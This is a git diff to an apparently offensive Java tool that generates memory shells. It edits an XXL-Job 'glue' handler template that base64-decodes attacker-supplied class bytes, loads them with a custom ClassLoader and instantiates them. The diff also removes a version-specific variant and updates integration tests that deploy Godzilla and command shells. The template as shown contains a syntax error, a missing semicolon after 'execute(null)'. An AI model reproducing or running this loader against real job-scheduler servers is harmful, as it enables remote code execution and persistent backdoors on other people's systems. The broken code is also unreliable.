diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index fe3cffa7..34c6d67f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -84,13 +84,9 @@ public interface Packer { Velocity(new VelocityPacker()), - - AgentJar(new AgentJarPacker()), XxlJob(new XxlJobPacker()), - - XxlJob230(new XxlJob230Packer()), ; private final Packer packer; diff --git a/generator/src/main/resources/XXL-Job-DefineClass-230.java b/generator/src/main/resources/XXL-Job-DefineClass-230.java deleted file mode 100644 index 3d3294d9..00000000 --- a/generator/src/main/resources/XXL-Job-DefineClass-230.java +++ /dev/null @@ -1,30 +0,0 @@ -import com.xxl.job.core.handler.IJobHandler; - -import java.util.Base64; - -public class DemoGlueJobHandler extends IJobHandler { - - public static class Definder extends ClassLoader { - public Definder() { - super(Thread.currentThread().getContextClassLoader()); - } - - public Class defineClass(byte[] bytes) { - return defineClass(null, bytes, 0, bytes.length); - } - } - - public void execute() throws Exception { - String base64Str = "{{base64Str}}"; - String className = "{{className}}"; - try { - Class.forName(className); - } catch (ClassNotFoundException e) { - try { - new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance(); - } catch (Throwable ee) { - ee.printStackTrace(); - } - } - } -} diff --git a/generator/src/main/resources/XXL-Job-DefineClass.java b/generator/src/main/resources/XXL-Job-DefineClass.java index 40b8ac22..3088ba5c 100644 --- a/generator/src/main/resources/XXL-Job-DefineClass.java +++ b/generator/src/main/resources/XXL-Job-DefineClass.java @@ -1,6 +1,8 @@ import com.xxl.job.core.biz.model.ReturnT; import com.xxl.job.core.handler.IJobHandler; +import java.util.Base64; + public class DemoGlueJobHandler extends IJobHandler { public static class Definder extends ClassLoader { @@ -13,6 +15,10 @@ public class DemoGlueJobHandler extends IJobHandler { } } + public void execute() throws Exception { + execute(null) + } + public ReturnT execute(String param) throws Exception { String base64Str = "{{base64Str}}"; String className = "{{className}}"; @@ -20,23 +26,11 @@ public class DemoGlueJobHandler extends IJobHandler { Class.forName(className); } catch (ClassNotFoundException e) { try { - new Definder().defineClass(decodeBase64(base64Str)).newInstance(); + new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance(); } catch (Throwable ee) { ee.printStackTrace(); } } return ReturnT.SUCCESS; } - - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 06ba5daf..d2c5a097 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -144,7 +144,6 @@ public class ShellAssertionTool { case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); - case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java index 321f4f5f..385ba476 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -39,8 +39,8 @@ public class XxlJob230ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230), - arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230) + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob) ); }